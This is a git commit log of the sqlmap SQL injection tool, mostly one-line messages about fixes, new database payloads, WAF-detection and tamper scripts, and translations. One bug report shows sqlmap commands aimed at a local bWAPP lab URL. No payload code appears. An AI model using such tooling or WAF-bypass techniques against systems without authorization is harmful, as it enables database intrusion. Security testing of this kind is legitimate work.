Miroslav Stampar ea961678ee Fixes #2273 2016-11-11 10:28:50 +01:00
Miroslav Stampar d4414e6631 Minor misspell 2016-11-11 10:21:57 +01:00
Miroslav Stampar eb098f6527 Fixes #2268 2016-11-09 12:27:10 +01:00
Miroslav Stampar 5772d8904d Fixes #2266 2016-11-09 12:20:54 +01:00
Miroslav Stampar 7000373c4b Minor patch 2016-11-09 12:18:15 +01:00
Miroslav Stampar a60c9b0dcc Minor patch 2016-11-09 11:29:08 +01:00
Miroslav Stampar 2eb7a1d264 Patch related to the #2265 2016-11-07 23:14:17 +01:00
Miroslav Stampar 13f0949f9e Another patch for #1596 2016-11-07 09:31:07 +01:00
Miroslav Stampar 076a42cbfe Patch related to the #1596 2016-11-07 09:28:00 +01:00
Miroslav Stampar ce19525bc3 Fixes #2262 2016-11-05 22:36:58 +01:00
Miroslav Stampar 6da2e49100 Fixes #2261 2016-11-04 15:04:38 +01:00
Miroslav Stampar 1e44c4d669 Patch related to #2257 2016-11-02 12:04:21 +01:00
Miroslav Stampar 10097dd124 Fixes #2253 2016-10-29 00:13:04 +02:00
Miroslav Stampar f4e36fc049 Patch for an Issue #2252 2016-10-28 11:52:48 +02:00
Miroslav Stampar 083ce111f0 Minor speed up 2016-10-26 22:33:04 +02:00
Miroslav Stampar c1d4ab72eb Merge pull request #2250 from hph86/fix_typos
Fix several typos
2016-10-26 22:31:39 +02:00
Hanno Heinrichs 2cc604e356 Fix several typos 2016-10-26 21:41:57 +02:00
Miroslav Stampar c557637299 Fixes #2248 2016-10-26 08:49:27 +02:00
Miroslav Stampar 044f05e772 Fixes #2246 2016-10-24 23:52:33 +02:00
Miroslav Stampar 6f343080e8 Fixes #2245 2016-10-24 23:33:49 +02:00
Miroslav Stampar 25c34c7728 Fixes #2244 2016-10-24 23:29:18 +02:00
Miroslav Stampar d2bbe80455 Fixes #2243 2016-10-22 22:07:29 +02:00
Miroslav Stampar 0398cbdc76 Minor refactoring 2016-10-22 21:52:18 +02:00
Miroslav Stampar e0149e1c5f Minor update 2016-10-21 13:05:45 +02:00
Miroslav Stampar 98c6d8f582 Merge pull request #2240 from lightos/master
Support for timeout param when using Websockets
2016-10-21 13:03:08 +02:00
Miroslav Stampar d605b3af3c Revisiting banner xmls (Issue #2239) 2016-10-21 13:01:28 +02:00
Roberto Salgado a6cbbc5ea9 Support for timeout param when using Websockets
A fix for the timeout parameter being ignored when using Web-sockets.
2016-10-20 12:13:39 -07:00
Miroslav Stampar 5c80e988ba Fixes #2238 2016-10-20 00:47:53 +02:00
Miroslav Stampar 10ffcb8b00 Fixes #2237 2016-10-20 00:19:16 +02:00
Miroslav Stampar 38d74cf61c Minor update 2016-10-19 13:07:25 +02:00
Miroslav Stampar 1db6953f08 Proper fix for #2236 2016-10-18 20:17:51 +02:00
Miroslav Stampar d431c7d155 Fixes #2236 2016-10-18 20:07:19 +02:00
Miroslav Stampar 5ab4d54df0 Minor update of THIRD-PARTY.md 2016-10-18 13:49:29 +02:00
Miroslav Stampar 877d46e9f7 Fixes #2234 2016-10-18 13:46:56 +02:00
Miroslav Stampar 7e69cc112f Fixes #2235 2016-10-18 13:37:36 +02:00
Miroslav Stampar 5b14eecd25 Bug fix (reconnecting in case of timeouted direct connection) 2016-10-17 22:55:07 +02:00
Miroslav Stampar 24eaf55dc8 Removing bad decision for -d (user should be able to choose) 2016-10-17 22:32:23 +02:00
Miroslav Stampar 6be10b307d Minor patch 2016-10-17 22:02:41 +02:00
Miroslav Stampar 91ad71b1e0 Minor cosmetics 2016-10-17 12:36:42 +02:00
Miroslav Stampar d6255de205 Fixes #2231 2016-10-17 12:33:07 +02:00
Miroslav Stampar c293a6a25a Fixes #2229 and #2230 2016-10-15 09:53:12 +02:00
Miroslav Stampar b1175017f9 Minor update regarding to the last commit 2016-10-15 00:54:32 +02:00
Miroslav Stampar 75c9f91f11 Fixes #2226 2016-10-15 00:51:35 +02:00
Miroslav Stampar 9ff2dcf1c1 Fixes #2228 2016-10-15 00:16:53 +02:00
Miroslav Stampar 6c4e9ae427 Updating SocksiPy to PySocks (updated fork) 2016-10-14 23:16:26 +02:00
Miroslav Stampar 748e94dcee Minor update for #2224 2016-10-13 23:25:46 +02:00
Miroslav Stampar f389bd71c0 Implementation for an Issue #2224 2016-10-13 23:17:54 +02:00
Miroslav Stampar 1126ff86ce Fixes #2223 2016-10-13 23:07:11 +02:00
Miroslav Stampar 79377fedab Minor update 2016-10-13 23:06:04 +02:00
Miroslav Stampar 5d2972f362 Implementation for an Issue #2221 2016-10-11 17:33:36 +02:00
Miroslav Stampar ae465bbaf8 Minor revert of leftover 2016-10-11 01:09:30 +02:00
Miroslav Stampar 1b95dd2d9d Fix for a bug reported privately by user (in some cases data has not been retrieved) 2016-10-11 01:07:31 +02:00
Miroslav Stampar 6130185ac6 Minor consistency update with the wiki 2016-10-11 00:35:39 +02:00
Miroslav Stampar c92fde120d Implements #2220 2016-10-10 23:27:41 +02:00
Miroslav Stampar 7eab1bcbf9 Automating even more switch --tor 2016-10-10 14:19:44 +02:00
Miroslav Stampar 4c05307357 Disabling socket pre-connect in case of --tor, --proxy and --proxy-file 2016-10-10 01:57:55 +02:00
Miroslav Stampar 0037c28e9e Preventing obnoxious 'install git' on MacOS 2016-10-10 01:35:22 +02:00
Miroslav Stampar 2b279233b6 Fixes #2219 2016-10-09 14:19:40 +02:00
Miroslav Stampar b51b80b174 Fix for a privately reported bug 2016-10-08 21:11:43 +02:00
Miroslav Stampar e4b0ac9ae5 Minor update of common user columns 2016-10-07 14:48:05 +02:00
Miroslav Stampar 7f416846b7 Minor revisit of MsSQL error-based payloads 2016-10-06 23:50:32 +02:00
Miroslav Stampar 5b7254af96 Minor patch 2016-10-06 22:27:29 +02:00
Miroslav Stampar c83d417298 Fixes #2212 2016-10-05 23:02:20 +02:00
Miroslav Stampar b42dc6e7a5 Update of Oracle and PostgreSQL system databases/schemas 2016-10-05 17:58:35 +02:00
Miroslav Stampar 8124fe391d Bug fix for using --search in combination with -D CD 2016-10-05 17:43:57 +02:00
Miroslav Stampar 833ca4b640 Minor refactoring 2016-10-05 17:41:02 +02:00
Miroslav Stampar 3b244858f8 Adding performance_schema as one more of MySQL's system database 2016-10-05 17:33:24 +02:00
Miroslav Stampar 6107696e25 Minor patch (--help should display basic help) 2016-10-05 17:01:58 +02:00
Miroslav Stampar af1c9c7fb2 Related to the last commit 2016-10-04 23:48:09 +02:00
Miroslav Stampar 06b54ab134 Better choice of used table (INFORMATION_SCHEMA.CHARACTER_SETS can also be found in MsSQL and PgSQL; mysql.db can have permission problems) 2016-10-04 23:43:00 +02:00
Miroslav Stampar fee5c7bd7c Adding two new payloads and minor cosmetics 2016-10-04 23:39:18 +02:00
Miroslav Stampar fb8afc6add Adding a new payload (Oracle boolean based on error response) 2016-10-04 22:12:00 +02:00
Miroslav Stampar 6c372a09bd Minor update 2016-10-04 11:55:16 +02:00
Miroslav Stampar 171cf6f54d Minor fine tuning for SQLi heuristic check 2016-10-04 11:32:06 +02:00
Miroslav Stampar 029bb5554d Minor cleanup of user-agents 2016-10-04 10:48:10 +02:00
Miroslav Stampar c69cb79d66 Fixes #2208 2016-10-04 10:39:28 +02:00
Miroslav Stampar dc8301689e Implementation for an Issue #2204 2016-10-02 11:13:40 +02:00
Miroslav Stampar d8dd37510c Fixes #2202 2016-10-01 21:02:40 +02:00
Miroslav Stampar d1680b04f3 Minor code consistency update 2016-09-29 21:26:47 +02:00
Miroslav Stampar 102d4b4119 Bug fix for uploading files in case of web subdirectories 2016-09-29 21:14:28 +02:00
Miroslav Stampar b3b49b3492 Minor patch for --parse-errors 2016-09-29 18:07:00 +02:00
Miroslav Stampar 7a89433251 Minor patch 2016-09-29 18:02:20 +02:00
Miroslav Stampar ced6711128 Playing a bit with logo 2016-09-29 15:59:28 +02:00
Miroslav Stampar bdf76f8d4d Revisiting user-agents (newer versions of mainstream browsers) 2016-09-29 15:21:32 +02:00
Miroslav Stampar 571ae174bd Minor language update 2016-09-29 14:55:43 +02:00
Miroslav Stampar 332726356c Minor language update 2016-09-29 14:03:46 +02:00
Miroslav Stampar 4ea9d3b884 Replacing generic concatenation || with CONCAT (far better choice) 2016-09-29 13:35:16 +02:00
Miroslav Stampar 3409953538 Revisiting default level 1 payloads (MySQL stacked queries are as frequent as double rainbows) 2016-09-29 12:59:51 +02:00
Miroslav Stampar 3b3ab072e6 Adding short option(s) for setting verbosity (e.g. -vvv) 2016-09-29 11:19:25 +02:00
Miroslav Stampar fef407e09c Making HTTP requests up to 20% smaller (fine tuning the request headers) 2016-09-29 10:44:00 +02:00
Miroslav Stampar 5afccce3c6 Minor patch 2016-09-28 16:56:47 +02:00
Miroslav Stampar e439095593 Bug fix for MySQL's --os-pwn 2016-09-28 15:39:34 +02:00
Miroslav Stampar e77126e847 Removing obsolete functionality 2016-09-28 15:00:26 +02:00
Miroslav Stampar 3ef01f0e31 Minor update 2016-09-28 14:48:33 +02:00
Miroslav Stampar d36b5c0a4b Adding time-based blind (heavy query) payloads for Informix (Issue #552) 2016-09-28 10:30:09 +02:00
Miroslav Stampar e5a758bdf4 Fixes #2192 2016-09-28 09:55:14 +02:00
Miroslav Stampar 617509869d Minor patch for Informix --parse-errors 2016-09-27 14:58:10 +02:00
Miroslav Stampar 5079c42788 Adding Informix parameter replacement payloads (Issue #552) 2016-09-27 14:39:17 +02:00
Miroslav Stampar bc7ab01066 Bug fix for generic parameter replacement (CASE) 2016-09-27 14:29:18 +02:00
Miroslav Stampar 212c1ec1f2 Couple of fixes and some testing stuff 2016-09-27 14:03:59 +02:00
Miroslav Stampar 381deb68ff Implementation for an Issue #2137 2016-09-27 13:26:11 +02:00
Miroslav Stampar ba0facb5eb Removal of unused imports 2016-09-27 11:23:31 +02:00
Miroslav Stampar 7151df16f6 Adding extra validation step in case of boolean-based blind (e.g. if unexpected 500 occurs) 2016-09-27 11:21:12 +02:00
Miroslav Stampar 8994bf2dba Further dealing with time-based SQLi (Issue #1973) 2016-09-27 10:32:22 +02:00
Miroslav Stampar 09617c8243 Introducing extra validation property in case of time-based SQLi (HTTP code) - Issue #1973 2016-09-27 10:20:36 +02:00
Miroslav Stampar 556b4d289e Minor cosmetic patch (removing multiple same content '...appears...' messages) 2016-09-26 17:02:40 +02:00
Miroslav Stampar 978f56ad10 One more commit for #552 (--passwords) 2016-09-26 16:38:03 +02:00
Miroslav Stampar aa0b97b562 Support for Informix --roles/--privileges (Issue #552) 2016-09-26 14:20:04 +02:00
Miroslav Stampar df645d7d3d Update for column types (Issue #552) 2016-09-23 18:03:31 +02:00
Miroslav Stampar 035137ef4e Bug fix in detection engine (abstract URI header sometimes caused problems - e.g. when automatic --string used) 2016-09-23 17:38:14 +02:00
Miroslav Stampar 484d9a4825 Implementation of --dump for Informix (Issue #552) 2016-09-23 17:21:48 +02:00
Miroslav Stampar 65c305cff0 Fixes #2174 2016-09-23 15:41:12 +02:00
Miroslav Stampar 9a5fc5ccf4 New auxiliary (extra) file (for administration purposes) 2016-09-23 13:57:18 +02:00
Miroslav Stampar 51a1973224 Stripping PostgreSQL .so files for size issues (Issue #2173) 2016-09-23 13:52:57 +02:00
Miroslav Stampar 2f2a63334a Minor cleanup 2016-09-23 13:39:27 +02:00
Miroslav Stampar 23afeb4c7a Fixes #2176 2016-09-23 13:37:44 +02:00
Miroslav Stampar b387fb219d Fixes #2175 2016-09-23 12:45:06 +02:00
Miroslav Stampar 1b48ff223d Adding initial support for Informix (Issue #552) 2016-09-23 12:33:27 +02:00
Miroslav Stampar 640e605412 More CTF friendly (common column and table name flag :) 2016-09-23 12:31:28 +02:00
Miroslav Stampar e10bb42597 Minor tweak 2016-09-22 10:22:48 +02:00
Miroslav Stampar 9902018cab Implementation for an Issue #2172 2016-09-21 15:45:55 +02:00
Miroslav Stampar 56a918c408 Minor refactoring 2016-09-20 10:03:00 +02:00
Miroslav Stampar bcd62ecc5b Minor optimization (avoiding unnecessary deepcopies) 2016-09-20 09:56:08 +02:00
Miroslav Stampar e519484230 Patching live-testing 2016-09-19 15:51:28 +02:00
Miroslav Stampar a2c8f1deb1 Update PgSQL fingerprinting payloads 2016-09-19 14:23:51 +02:00
Miroslav Stampar 12dc53f687 Minor update 2016-09-19 13:54:06 +02:00
Miroslav Stampar b3b5bd267d Adding new tamper script (on request from @MilanGabor) 2016-09-15 17:59:01 +02:00
Miroslav Stampar edcfffc279 Merge pull request #2170 from ClementNotin/ClementNotin-patch-netscaler.py
Fix "or-assign" for return value in netscaler.py
2016-09-15 17:29:31 +02:00
Clément Notin 3bbfd0665c Fix "or-assign" for return value in netscaler.py 2016-09-15 16:56:49 +02:00
Miroslav Stampar 921a53e314 Patch for counter in --smoke-test 2016-09-09 14:59:22 +02:00
Miroslav Stampar 32dd4a938c Minor patch of message 2016-09-09 11:37:16 +02:00
Miroslav Stampar 9930f1b55b Speed optimization(s) 2016-09-09 11:06:38 +02:00
Miroslav Stampar 8581d9e2ca Minor improvement of SELECT_FROM_TABLE_REGEX 2016-09-09 09:45:48 +02:00
Miroslav Stampar 1a613ed9a8 Minor update 2016-09-08 14:08:14 +02:00
Miroslav Stampar 78e398d9c4 Fixes #2136 2016-09-06 15:03:17 +02:00
Miroslav Stampar e3c3c2c185 Fixes #2148 2016-09-06 14:25:29 +02:00
Miroslav Stampar 4e36bbaff9 Update related to the last commit 2016-09-04 03:09:28 +02:00
Miroslav Stampar 603e9739ae Fixes #2146 2016-09-04 01:33:52 +02:00
Miroslav Stampar 6b91b7b7fa Minor cosmetics 2016-09-02 16:10:11 +02:00
Miroslav Stampar 2e62fda57d Minor update 2016-09-02 15:55:33 +02:00
Miroslav Stampar 5ad27264a2 Patches #2143 2016-09-02 15:52:07 +02:00
Miroslav Stampar c4d8cab50c Version string bug fix 2016-09-02 14:25:56 +02:00
Miroslav Stampar 577e346774 Fixes #2144 2016-09-02 14:20:17 +02:00
Miroslav Stampar 81c6aad129 Merge pull request #2138 from TrinTragula/Italian_Translation
Translated README-it-IT in order to make it even more italian-friendly.
2016-09-01 09:43:52 +02:00
TrinTragula 775325556e Translated in order to make it even more italian-friendly 2016-08-30 07:26:28 -04:00
Miroslav Stampar 375abd50ee Minor update for #2134 2016-08-30 12:36:32 +02:00
Miroslav Stampar e718e2732e Merge pull request #2134 from TrinTragula/Italian_Translation
Added Italian version of README
2016-08-30 12:35:14 +02:00
TrinTragula 8c8764368f Added Italian version of README and added link to it on the english version 2016-08-27 20:32:13 -04:00
Miroslav Stampar 4a815ab56f Patch for an Issue #1250 2016-08-27 23:54:09 +02:00
Miroslav Stampar 6564adc984 Minor patch for buffered write into checksum.md5 2016-08-27 23:34:12 +02:00
Miroslav Stampar ad5b8017f5 Minor refactoring 2016-08-26 12:28:35 +02:00
Miroslav Stampar 72e5a79288 Fixes #2106 2016-08-19 11:07:42 +02:00
Miroslav Stampar 63f4b3462f Fixes #2105 2016-08-15 18:35:04 +02:00
Miroslav Stampar a45a90df94 Adding new WAF script (Yunsuo) 2016-08-12 14:32:03 +02:00
Miroslav Stampar ec1ac81e0a Minor refactoring 2016-08-08 16:08:16 +02:00
Miroslav Stampar 6ba46bf7cf Update for #2086 (lowercasing only the command) 2016-08-08 15:55:39 +02:00
Miroslav Stampar a1f85df12b Merge pull request #2086 from deadworoz/patch-1
Converting a command to lowercase breaks a case-sensitive URL
2016-08-08 15:48:41 +02:00
deadworoz 9c2c3894d6 Converting a command to lowercase breaks a case-sensitive URL
To reproduce the bug:
1. Start the server: ./sqlmapapi.py -s
2. Start the client: ./sqlmapapi.py -c
3. Add a new task with a case-sensitive URL: new -u "http://vbox.lc/bWAPP/sqli_4.php?title=iron+man&action=search"
4. Check the log: 
...
"message": "testing connection to the target URL"
...
"message": "page not found (404)"
...
"message": "HTTP error codes detected during run:\n404 (Not Found) - 1 times"

5. Check that sqlmap.py correcty work with same parameters: ./sqlmap.py -u "http://vbox.lc/bWAPP/sqli_4.php?title=iron+man&action=search"

[INFO] testing connection to the target URL
[INFO] checking if the target is protected by some kind of WAF/IPS/IDS
2016-08-08 14:48:25 +04:00
Miroslav Stampar b92fc840fe Adding pypi script to the repository 2016-08-02 13:21:05 +02:00
Miroslav Stampar ef79bbf7d2 Minor patch 2016-08-02 12:38:57 +02:00
Miroslav Stampar fba1199cd2 Minor consistency update 2016-08-02 12:05:39 +02:00
Miroslav Stampar 4022a68523 Removing last debug commit 2016-08-02 12:01:49 +02:00
Miroslav Stampar 67bc3ed359 Trying out the last commit 2016-08-02 12:01:02 +02:00
Miroslav Stampar a0ddd99087 Minor update for automatic PyPI packaging 2016-08-02 12:00:21 +02:00
Miroslav Stampar 2a7ef58c9f Minor refactoring 2016-08-02 11:55:11 +02:00
Miroslav Stampar 35010006a1 Some cosmetic changes 2016-08-02 11:50:42 +02:00
Miroslav Stampar acfe788c95 Preparing for #1250 2016-08-02 00:17:59 +02:00
Miroslav Stampar 5ccb73a1ee Minor patch for Python3 check 2016-07-29 15:30:59 +02:00
Miroslav Stampar 6ac5b6b759 Minor refactoring 2016-07-28 17:04:15 +02:00
Miroslav Stampar d82f20abc4 Fixes #2068 2016-07-28 17:02:27 +02:00
Miroslav Stampar 10eafa35fd Adding CloudFlare CAPTCHA warning 2016-07-23 23:02:15 +02:00
Miroslav Stampar 9105f259cd Fixes #2060 (ParseError has been added in Python 2.7) 2016-07-23 15:27:25 +02:00
Miroslav Stampar 7cca56edfa Fixes #2052 2016-07-21 09:38:52 +02:00
Miroslav Stampar e21d751834 Fixes #2049 2016-07-20 20:04:44 +02:00
Miroslav Stampar ebb73b71fa Fixes #2045 2016-07-20 16:49:27 +02:00
Miroslav Stampar 1ca633ae64 Fixes #2031 2016-07-17 23:30:40 +02:00
Miroslav Stampar 3e22cbfed7 Minor update 2016-07-17 00:34:14 +02:00
Miroslav Stampar c7f615f707 Renaming payload files (consistency with the rest of the project) 2016-07-17 00:21:16 +02:00
Miroslav Stampar b83ee92cd1 Minor modification 2016-07-17 00:09:09 +02:00
Miroslav Stampar 571d669a09 Minor modification 2016-07-17 00:07:58 +02:00
Miroslav Stampar e485531b71 Adding integrity checks in case of unhandled exceptions 2016-07-17 00:04:30 +02:00
Miroslav Stampar 7427b554e3 Adding support for integrity checks 2016-07-16 23:25:13 +02:00
Miroslav Stampar 1a818ceccd Adding error message regarding #2030 2016-07-16 22:47:16 +02:00
Miroslav Stampar 7fea8d608e Fixes #2028 2016-07-16 22:42:15 +02:00
Miroslav Stampar 1e6191e3b1 Fixes #2026 2016-07-16 15:51:09 +02:00
Miroslav Stampar c10b2825d7 Patch for --os-shell against Windows/MySQL where resulting \r caused trouble 2016-07-15 11:56:51 +02:00
Miroslav Stampar c200b2cb19 Another fix (related to the last commit) 2016-07-15 11:45:59 +02:00
Miroslav Stampar 071f4c8a2b Bug fix (reported privately) - better parsing of file paths (especially for Windows cases) 2016-07-15 11:13:47 +02:00
Miroslav Stampar 5097a2c79e Less timeout error messages (because of server dropping of non-active connections) 2016-07-15 00:33:33 +02:00
Miroslav Stampar bce9db1af5 Adding support for --columns too (Issue #2025) 2016-07-15 00:10:41 +02:00
Miroslav Stampar ca67456dbe Removing a debugging leftover (Issue #2025) 2016-07-14 23:39:44 +02:00
Miroslav Stampar 6df4d73b09 Implementation for an Issue #2025 2016-07-14 23:18:28 +02:00
Miroslav Stampar 2aaa486f7a Minor code style update 2016-07-13 14:09:33 +02:00
Miroslav Stampar 47ba7d4705 Minor update 2016-07-07 10:37:00 +02:00
Miroslav Stampar 6a8bfd5fd8 Update for an Issue #2011 2016-07-07 09:20:44 +02:00
Miroslav Stampar 1df94747e1 Merge pull request #2011 from guinslym/fr-FR
Added a French translation fr-Fr
2016-07-07 09:17:42 +02:00
Guinsly Mondesir 4092c701fe french translation 2016-07-06 21:05:38 -04:00
Guinsly Mondesir 4939bd49b0 french translation 2016-07-06 21:01:48 -04:00
Guinsly Mondesir c6fb3d35d8 french translation 2016-07-06 21:00:13 -04:00
Guinsly Mondesir aad0bd8705 french translation 2016-07-06 20:58:29 -04:00
Guinsly Mondesir b69f635a3f french translation 2016-07-06 20:56:36 -04:00
Guinsly Mondesir eeae696b1b french translation 2016-07-06 20:54:16 -04:00
Guinsly Mondesir e1c8bc0e01 french translation 2016-07-06 20:53:48 -04:00
Guinsly Mondesir 4b0acee585 french translation 2016-07-06 20:52:03 -04:00
Guinsly Mondesir d74612eb4c french translation 2016-07-06 20:50:31 -04:00
Guinsly Mondesir 88c33974ac french translation 2016-07-06 20:48:57 -04:00
Guinsly Mondesir e5d7bfe453 french translation 2016-07-06 20:47:35 -04:00
Guinsly Mondesir 99d23237b4 french translation 2016-07-06 20:44:56 -04:00
Guinsly Mondesir 08d750197c french translation 2016-07-06 20:44:26 -04:00
Guinsly Mondesir d35bdf6eaa french translation 2016-07-06 20:43:31 -04:00
Guinsly Mondesir d332e00eb0 french translation 2016-07-06 20:42:55 -04:00
Guinsly Mondesir 9d5499597f french translation 2016-07-06 20:42:24 -04:00
Guinsly Mondesir c0f8bbbc72 french translation 2016-07-06 20:41:39 -04:00
Guinsly Mondesir 1684d60782 french translation version 2.0 2016-07-06 20:40:25 -04:00
Guinsly Mondesir af6a977c9a moving the French translation to another folder 2016-07-06 19:45:50 -04:00
Guinsly Mondesir f20263f235 creating a base file for fr tranlsation 2016-07-06 19:44:37 -04:00
Miroslav Stampar 2e42afea6f Update of sucury WAF script 2016-07-06 23:43:21 +02:00
Miroslav Stampar 292a28131d Minor updates 2016-07-06 23:43:10 +02:00
Miroslav Stampar 2e775fbb75 (e.g.) ASPx MsSQL Chinese exception messages don't start with 'Exception: string' 2016-07-06 14:06:18 +02:00
Miroslav Stampar e1d7641b8a Good for different generic OleDB-alike connectors 2016-07-06 13:48:35 +02:00
Miroslav Stampar 6b0951d1ee Switching default Tor type to SOCKS5 (various bundles are discontinued) 2016-07-06 13:30:46 +02:00
Miroslav Stampar db1fc621b5 Update for SonicWALL WAF script; lesser false positives with ModSecurity WAF script 2016-07-06 13:19:51 +02:00
Miroslav Stampar 9351756c36 Minor update of format exception strings 2016-07-05 16:02:34 +02:00
Miroslav Stampar 63b645c64c Removing a debugging leftover 2016-07-05 09:32:30 +02:00
Miroslav Stampar 7ad49f4185 Less problematic regexes for MsSQL errors 2016-07-05 09:32:08 +02:00
Miroslav Stampar d9315830f9 Less problematic regex for MsSQL errors 2016-07-05 09:20:04 +02:00
Miroslav Stampar 2e2c62b6a7 More error regexes 2016-07-04 17:24:17 +02:00
Miroslav Stampar 53289b0234 Some more Informix error regexes 2016-07-04 10:03:36 +02:00
Miroslav Stampar dd082ef79d Minor update (new error regex for Informix) 2016-07-04 09:49:18 +02:00
Miroslav Stampar 2c968f9a35 Closes #2007 2016-07-04 09:12:30 +02:00
Miroslav Stampar 74d0315fef Update related to the last commit 2016-07-03 02:14:23 +02:00
Miroslav Stampar ae98159130 Automatic monthly tagging 2016-07-03 02:03:30 +02:00
Miroslav Stampar 3a9e36c52b Reintroducing stacked queries removed in 79d08906a4 (good for WAF bypass) 2016-07-03 02:03:30 +02:00
Miroslav Stampar cb43c03712 Definite patch for MemoryError(s) (fixes #1991) 2016-06-30 14:57:56 +02:00
Miroslav Stampar 65a0f15f69 Minor update (error regex for PHP's sqlsrv module) 2016-06-28 15:13:37 +02:00
Miroslav Stampar 98b77d32cc Minor update 2016-06-27 11:16:41 +02:00
Miroslav Stampar 86a3569ccb New WAF script (SonicWALL) 2016-06-26 16:42:05 +02:00
Miroslav Stampar 17fca351d3 Minor update 2016-06-26 16:26:13 +02:00
Miroslav Stampar 2614e7bec1 Minor update 2016-06-26 16:23:39 +02:00
Miroslav Stampar 832c6e806f Revert of last commit 2016-06-26 15:59:35 +02:00
Miroslav Stampar 7b334b0808 'Conversion failed' happens in regular SQLi on MsSQL 2016-06-26 15:57:11 +02:00
Miroslav Stampar aa9151785e Minor update 2016-06-26 15:37:30 +02:00
Miroslav Stampar 6bdef1b7da Minor update 2016-06-26 01:46:49 +02:00
Miroslav Stampar 8b4367d354 Revert of last commit 2016-06-26 01:42:21 +02:00
Miroslav Stampar 0a9d69a7d0 Minor patch 2016-06-26 01:10:47 +02:00
Miroslav Stampar a4b60dc00f New error regex for MsSQL 2016-06-26 00:40:54 +02:00
Miroslav Stampar f91ae32284 Minor update (to not confuse S3 vs Cloudfront) 2016-06-24 13:39:13 +02:00
Miroslav Stampar 53fc9d6720 Fixes #1990 2016-06-24 13:31:19 +02:00
Miroslav Stampar 0b31568306 Minor update 2016-06-24 13:28:08 +02:00
Miroslav Stampar e9407cf791 Cleaning some garbage boundaries (it doesn't make any sense to use %00 as prefix) 2016-06-23 22:57:59 +02:00
Miroslav Stampar 0175acd028 Bug fix (in some cases lack of warning message for SQLi appearing) 2016-06-23 17:52:37 +02:00
Miroslav Stampar 733a32de32 Minor patch 2016-06-23 12:09:51 +02:00
Miroslav Stampar 1b863ecf93 Far better detection of SecureIIS (WAF) 2016-06-23 12:03:05 +02:00
Miroslav Stampar ec06037335 Update of bigip waf script 2016-06-23 11:41:49 +02:00
Miroslav Stampar 0cdb62a1b5 Adding new waf script (armor) 2016-06-23 11:15:31 +02:00
Miroslav Stampar 99454198b8 Minor refactoring 2016-06-20 10:01:57 +02:00
Miroslav Stampar dd6287ace8 Fixes #1972 2016-06-20 09:59:50 +02:00
Miroslav Stampar 786460e3b4 Minor just in case patch 2016-06-19 17:44:47 +02:00
Miroslav Stampar 419cf979f1 Showing again the 'shutting down at ...' message 2016-06-19 17:17:01 +02:00
Miroslav Stampar 30be875304 Patch for an Issue #1968 2016-06-18 01:21:57 +02:00
Miroslav Stampar 7d011bc811 Fixes #1964 2016-06-17 17:07:44 +02:00
Miroslav Stampar b2c4a3b247 Fixes #1960 2016-06-17 16:54:23 +02:00
Miroslav Stampar 9d9592a69b Fixes #1963 2016-06-17 16:51:23 +02:00
Miroslav Stampar cb42294a7e Minor message update 2016-06-15 07:57:10 +02:00
Miroslav Stampar 146762c109 Minor update 2016-06-15 07:54:47 +02:00
Miroslav Stampar 494b9d1586 Fixes #1943 2016-06-13 15:30:38 +02:00
Miroslav Stampar 2e95fdb52d Fixes #1947 2016-06-13 14:50:44 +02:00
Miroslav Stampar 46736cac7b Fixes #1931 2016-06-10 18:41:41 +02:00
Miroslav Stampar 041213f22d Fixes #1935 2016-06-10 18:18:48 +02:00
Miroslav Stampar 8ca45c5678 Fixes #1936 2016-06-10 18:02:24 +02:00
Miroslav Stampar c6eec8db97 Fixes #1938 2016-06-10 17:52:22 +02:00
Miroslav Stampar 98fdc493f4 Proper patch for #1923 (Fixes #1940, #1941) 2016-06-10 17:42:11 +02:00
Miroslav Stampar 91372bff87 Fixes #1932 2016-06-08 08:20:54 +02:00
Miroslav Stampar 7fb9db42a7 Performing a backup of old dump file (Issue #841) 2016-06-05 12:37:19 +02:00
Miroslav Stampar 82382957f9 Minor refactoring 2016-06-05 12:25:42 +02:00
Miroslav Stampar f034122bd0 Fixes #1920 2016-06-05 12:14:01 +02:00
Miroslav Stampar 0df2456f34 Fixes #1923 2016-06-03 16:06:29 +02:00
Miroslav Stampar 78fdb27a0b More improvements 2016-06-03 15:51:52 +02:00
Miroslav Stampar 350baf0a0a Minor update 2016-06-03 14:29:32 +02:00
Miroslav Stampar 9886b646eb Proper update regarding the last commit 2016-06-03 14:18:28 +02:00
Miroslav Stampar c5197b99a0 Minor patch and minor improvement 2016-06-03 13:59:32 +02:00
Miroslav Stampar cc313280af Payload that never ever worked (now fixed) 2016-06-03 13:16:00 +02:00
Miroslav Stampar f06ff42c58 This never worked. Not sure who incorporated it (WAITFOR DELAY can't go to SELECT/CASE) 2016-06-03 10:42:57 +02:00
Miroslav Stampar 4bc1cf4518 Vastly better patch for MsSQL payloads 2016-06-03 10:29:04 +02:00
Miroslav Stampar 0e65043c84 Minor adjustment 2016-06-03 09:48:49 +02:00
Miroslav Stampar d7d565415a Patch for MySQL fingerprinting 2016-06-03 02:31:31 +02:00
Miroslav Stampar 0986ec8948 Update for Oracle fingerprinting 2016-06-03 02:27:59 +02:00
Miroslav Stampar 50bced511f Adding support for fingerprinting MsSQL 2014 and 2016 2016-06-03 02:24:19 +02:00
Miroslav Stampar e275e8c0b0 Fixes #1921 2016-06-03 02:02:11 +02:00
Miroslav Stampar 77dea38ac1 Fixes #1918 2016-06-03 00:37:18 +02:00
Miroslav Stampar 7dc2ec5fd8 Minor touch 2016-06-01 20:42:09 +02:00
Miroslav Stampar 4bf2e3b139 Minor update 2016-06-01 20:37:05 +02:00
Miroslav Stampar 8114c14755 Removing leftover 2016-06-01 16:32:22 +02:00
Miroslav Stampar ec8cf6aadc Adding support for detecting CAPTCHA 2016-06-01 15:48:04 +02:00
Miroslav Stampar d326965966 Reordering MySQL's error-based payloads (BIGINT and EXP have crazy bigger chunk lenghts) 2016-06-01 14:12:22 +02:00
Miroslav Stampar 030df0353d Removing ugly legacy code (e.g. showing MySQL 5.0 when it is e.g. '5.7.8') 2016-06-01 13:47:20 +02:00
Miroslav Stampar 5038d7a70a Removing ugly boolean check results (0 or 1) in output of UNION and ERROR SQLi 2016-06-01 13:39:40 +02:00
Miroslav Stampar f0b8fbb7fd Implemented support for JSON_KEYS error-based SQLi (and tons of fixes for MySQL 'ORDER BY,GROUP BY' payloads) 2016-06-01 13:23:41 +02:00
Miroslav Stampar 5810c2b199 Minor patch 2016-06-01 11:30:27 +02:00
Miroslav Stampar 77f0b5dfa8 Fixes #1919 2016-06-01 10:56:42 +02:00
Miroslav Stampar b0ea74dc63 Minor warning message update 2016-06-01 10:53:32 +02:00
Miroslav Stampar 0c07c8942c Automatic monthly tagging 2016-06-01 10:44:08 +02:00
